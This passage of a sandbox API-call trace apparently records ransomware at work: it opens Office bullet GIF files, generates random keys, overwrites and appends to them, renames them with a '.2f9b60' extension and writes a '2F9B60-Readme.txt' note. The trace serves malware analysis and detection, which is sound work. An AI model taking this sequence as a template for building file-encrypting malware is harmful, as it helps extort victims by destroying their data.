_Dest=0x43172720, _Format="%c%c" | out: _Dest="ac") returned 2 [0191.399] sprintf (in: _Dest=0x43172722, _Format="%c%c" | out: _Dest="dd") returned 2 [0191.400] sprintf (in: _Dest=0x43172724, _Format="%c%c" | out: _Dest="6f") returned 2 [0191.400] sprintf (in: _Dest=0x43172726, _Format="%c%c" | out: _Dest="9c") returned 2 [0191.400] sprintf (in: _Dest=0x43172728, _Format="%c%c" | out: _Dest="a7") returned 2 [0191.400] sprintf (in: _Dest=0x4317272a, _Format="%c%c" | out: _Dest="76") returned 2 [0191.400] sprintf (in: _Dest=0x4317272c, _Format="%c%c" | out: _Dest="84") returned 2 [0191.400] sprintf (in: _Dest=0x4317272e, _Format="%c%c" | out: _Dest="09") returned 2 [0191.400] sprintf (in: _Dest=0x43172730, _Format="%c%c" | out: _Dest="1e") returned 2 [0191.400] sprintf (in: _Dest=0x43172732, _Format="%c%c" | out: _Dest="ce") returned 2 [0191.400] sprintf (in: _Dest=0x43172734, _Format="%c%c" | out: _Dest="bd") returned 2 [0191.400] sprintf (in: _Dest=0x43172736, _Format="%c%c" | out: _Dest="24") returned 2 [0191.400] sprintf (in: _Dest=0x43172738, _Format="%c%c" | out: _Dest="fc") returned 2 [0191.400] sprintf (in: _Dest=0x4317273a, _Format="%c%c" | out: _Dest="a6") returned 2 [0191.400] sprintf (in: _Dest=0x4317273c, _Format="%c%c" | out: _Dest="b7") returned 2 [0191.400] sprintf (in: _Dest=0x4317273e, _Format="%c%c" | out: _Dest="db") returned 2 [0191.400] sprintf (in: _Dest=0x43172740, _Format="%c%c" | out: _Dest="40") returned 2 [0191.400] sprintf (in: _Dest=0x43172742, _Format="%c%c" | out: _Dest="54") returned 2 [0191.400] sprintf (in: _Dest=0x43172744, _Format="%c%c" | out: _Dest="e1") returned 2 [0191.400] sprintf (in: _Dest=0x43172746, _Format="%c%c" | out: _Dest="db") returned 2 [0191.400] sprintf (in: _Dest=0x43172748, _Format="%c%c" | out: _Dest="ff") returned 2 [0191.400] sprintf (in: _Dest=0x4317274a, _Format="%c%c" | out: _Dest="bd") returned 2 [0191.400] sprintf (in: _Dest=0x4317274c, _Format="%c%c" | out: _Dest="1d") returned 2 [0191.400] sprintf (in: _Dest=0x4317274e, _Format="%c%c" | out: _Dest="3f") returned 2 [0191.400] RtlInitAnsiString (in: DestinationString=0x3929f768, SourceString="acdd6f9ca77684091ecebd24fca6b7db4054e1dbffbd1d3f" | out: DestinationString="acdd6f9ca77684091ecebd24fca6b7db4054e1dbffbd1d3f") [0191.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x3929f738, SourceString="acdd6f9ca77684091ecebd24fca6b7db4054e1dbffbd1d3f", AllocateDestinationString=1 | out: DestinationString="acdd6f9ca77684091ecebd24fca6b7db4054e1dbffbd1d3f") returned 0x0 [0191.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e3a0 [0191.402] RtlFreeAnsiString (AnsiString="a") [0191.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43172720) returned 1 [0191.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d5e0) returned 1 [0191.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d331d0) returned 1 [0191.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c153b0) returned 1 [0191.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda760) returned 1 [0191.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9320) returned 1 [0191.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda820) returned 1 [0191.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda850) returned 1 [0191.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddca10) returned 1 [0191.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcad0) returned 1 [0191.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb00) returned 1 [0191.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c030 [0191.408] wcscat (in: _Dest=0x2050c030, _Source="acdd6f9ca776" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776" [0191.408] wcscat (in: _Dest=0x2050c030, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776.2f9b60" [0191.408] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776.2f9b60", NtPathName=0x3929f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\acdd6f9ca776.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c37dd0 Thread: id = 2636 os_tid = 0x219c [0156.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif")) returned 0x20 [0156.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF", dwFileAttributes=0x20) returned 1 [0156.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x950 [0156.850] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x3863fc40 | out: lpFileSize=0x3863fc40*=311) returned 1 [0156.850] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x133, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.850] ReadFile (in: hFile=0x950, lpBuffer=0x3863fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3863fc08, lpOverlapped=0x0 | out: lpBuffer=0x3863fbc0*, lpNumberOfBytesRead=0x3863fc08*=0x4, lpOverlapped=0x0) returned 1 [0156.851] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0156.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb30 [0156.852] NtQuerySystemTime (in: CurrentTime=0x3863fb00 | out: CurrentTime=0x3863fb00*=132462177619822000) returned 0x0 [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x4e87bc6e [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0xa4a8344 [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x1a359fb1 [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0xd073a4b [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x7d0e520e [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x7bcedcbb [0156.852] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x75c48d62 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x8574e17 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x37667621 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x27542de1 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x320abe8 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x6d8eb311 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x31d4811a [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x523e29ae [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0xc47fa57 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x7e6067f2 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x34edd42a [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x26d3a3a1 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x2866cb1a [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x33a6987b [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x20c32ab5 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x41736a75 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x2bc81f4a [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x6102e536 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x53c2993b [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x144cd8fe [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x50f4c266 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x66e43f63 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x25e94db7 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x65982cf1 [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0xa77e53e [0156.853] RtlRandomEx (in: Seed=0x3863faf0 | out: Seed=0x3863faf0) returned 0x4e2836ec [0156.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb60 [0156.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6120 [0156.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb90 [0156.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6120) returned 1 [0156.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb30) returned 1 [0156.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18fa0 [0156.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6120 [0156.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a8fa20 [0156.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a93630 [0156.868] ReadFile (in: hFile=0x950, lpBuffer=0x42a8fa20, nNumberOfBytesToRead=0x137, lpNumberOfBytesRead=0x3863faf0, lpOverlapped=0x0 | out: lpBuffer=0x42a8fa20*, lpNumberOfBytesRead=0x3863faf0*=0x137, lpOverlapped=0x0) returned 1 [0156.868] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.868] WriteFile (hFile=0x950, lpBuffer=0x42a93630, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x3863faf4, lpOverlapped=0x0) [0172.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f52c0 [0172.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5740 [0172.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5740) returned 1 [0172.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a93630) returned 1 [0172.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8fa20) returned 1 [0172.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6120) returned 1 [0172.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18fa0) returned 1 [0172.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f5740 [0172.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18fa0 [0172.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6120 [0172.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5cb0 [0172.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5cb0) returned 1 [0172.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f5cb0 [0172.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5410 [0172.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6070 [0172.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6070) returned 1 [0172.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6120) returned 1 [0172.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18fa0) returned 1 [0172.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15b90 [0172.933] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.933] WriteFile (in: hFile=0x950, lpBuffer=0x42c15b90*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3863fc10, lpOverlapped=0x0 | out: lpBuffer=0x42c15b90*, lpNumberOfBytesWritten=0x3863fc10*=0x10a, lpOverlapped=0x0) returned 1 [0188.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0188.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0188.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0e9e0 [0188.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0188.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0188.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0188.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fd30 [0188.269] sprintf (in: _Dest=0x1cd9fd30, _Format="%c%c" | out: _Dest="b1") returned 2 [0188.269] sprintf (in: _Dest=0x1cd9fd32, _Format="%c%c" | out: _Dest="4f") returned 2 [0188.269] sprintf (in: _Dest=0x1cd9fd34, _Format="%c%c" | out: _Dest="12") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd36, _Format="%c%c" | out: _Dest="80") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd38, _Format="%c%c" | out: _Dest="cf") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd3a, _Format="%c%c" | out: _Dest="ad") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd3c, _Format="%c%c" | out: _Dest="b5") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd3e, _Format="%c%c" | out: _Dest="c8") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd40, _Format="%c%c" | out: _Dest="ec") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd42, _Format="%c%c" | out: _Dest="d1") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd44, _Format="%c%c" | out: _Dest="7c") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd46, _Format="%c%c" | out: _Dest="38") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd48, _Format="%c%c" | out: _Dest="0f") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd4a, _Format="%c%c" | out: _Dest="0e") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd4c, _Format="%c%c" | out: _Dest="14") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd4e, _Format="%c%c" | out: _Dest="cb") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd50, _Format="%c%c" | out: _Dest="48") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd52, _Format="%c%c" | out: _Dest="7a") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd54, _Format="%c%c" | out: _Dest="64") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd56, _Format="%c%c" | out: _Dest="31") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd58, _Format="%c%c" | out: _Dest="67") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd5a, _Format="%c%c" | out: _Dest="49") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd5c, _Format="%c%c" | out: _Dest="ca") returned 2 [0188.270] sprintf (in: _Dest=0x1cd9fd5e, _Format="%c%c" | out: _Dest="d5") returned 2 [0188.270] RtlInitAnsiString (in: DestinationString=0x3863fc88, SourceString="b14f1280cfadb5c8ecd17c380f0e14cb487a64316749cad5" | out: DestinationString="b14f1280cfadb5c8ecd17c380f0e14cb487a64316749cad5") [0188.271] RtlAnsiStringToUnicodeString (in: DestinationString=0x3863fc58, SourceString="b14f1280cfadb5c8ecd17c380f0e14cb487a64316749cad5", AllocateDestinationString=1 | out: DestinationString="b14f1280cfadb5c8ecd17c380f0e14cb487a64316749cad5") returned 0x0 [0188.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fadd0 [0188.271] RtlFreeAnsiString (AnsiString="b") [0188.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fd30) returned 1 [0188.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0e9e0) returned 1 [0188.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0188.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15b90) returned 1 [0188.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5cb0) returned 1 [0188.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5410) returned 1 [0188.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5740) returned 1 [0188.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f52c0) returned 1 [0188.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0188.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb60) returned 1 [0188.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb90) returned 1 [0188.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863010 [0188.276] wcscat (in: _Dest=0x1b863010, _Source="b14f1280cfad" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad" [0188.278] wcscat (in: _Dest=0x1b863010, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad.2f9b60" [0188.278] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad.2f9b60", NtPathName=0x3863fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\b14f1280cfad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c37890 [0203.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37890) returned 1 [0203.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13d40) returned 1 [0203.085] NtQueryInformationFile (in: FileHandle=0x950, IoStatusBlock=0x3863fc98, FileInformation=0x3863fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3863fc98, FileInformation=0x3863fca8) returned 0x0 [0203.085] NtSetInformationFile (FileHandle=0x950, IoStatusBlock=0x3863fc98, FileInformation=0x3863fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0207.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863010) returned 1 [0207.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fadd0) returned 1 [0207.768] FlushFileBuffers (hFile=0x950) returned 1 [0207.771] CloseHandle (hObject=0x950) returned 1 [0209.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431e3e40 [0209.565] wcscpy (in: _Dest=0x431e3e40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0209.565] wcscat (in: _Dest=0x431e3e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" [0209.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt")) returned 0xffffffff [0216.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c78 [0243.984] WriteFile (hFile=0x1c78, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3863fb50, lpOverlapped=0x0) Thread: id = 2637 os_tid = 0x21a0 [0156.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif")) returned 0x20 [0156.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF", dwFileAttributes=0x20) returned 1 [0156.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1108 [0156.877] GetFileSizeEx (in: hFile=0x1108, lpFileSize=0x36eaf9e0 | out: lpFileSize=0x36eaf9e0*=177) returned 1 [0156.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb30 [0156.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbc0 [0156.878] NtQuerySystemTime (in: CurrentTime=0x36eaf8a0 | out: CurrentTime=0x36eaf8a0*=132462177620134000) returned 0x0 [0156.878] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x5612c0b5 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x3b2751aa [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x4842c3eb [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x4b747a8c [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x11831d74 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0xb193381 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x5b4cd6c3 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x31f3e308 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x58ceebd9 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x26fe7c61 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x43f38abf [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x1b8e71a2 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x3d423d10 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x38e03e4c [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x6b93d6a4 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x412263e0 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x72ae72fd [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0xe15048a [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x65e28380 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x41987634 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x70643d6f [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x7dab8806 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x6b94f9fa [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x26badbbf [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x1a3cc88b [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x38deaf73 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 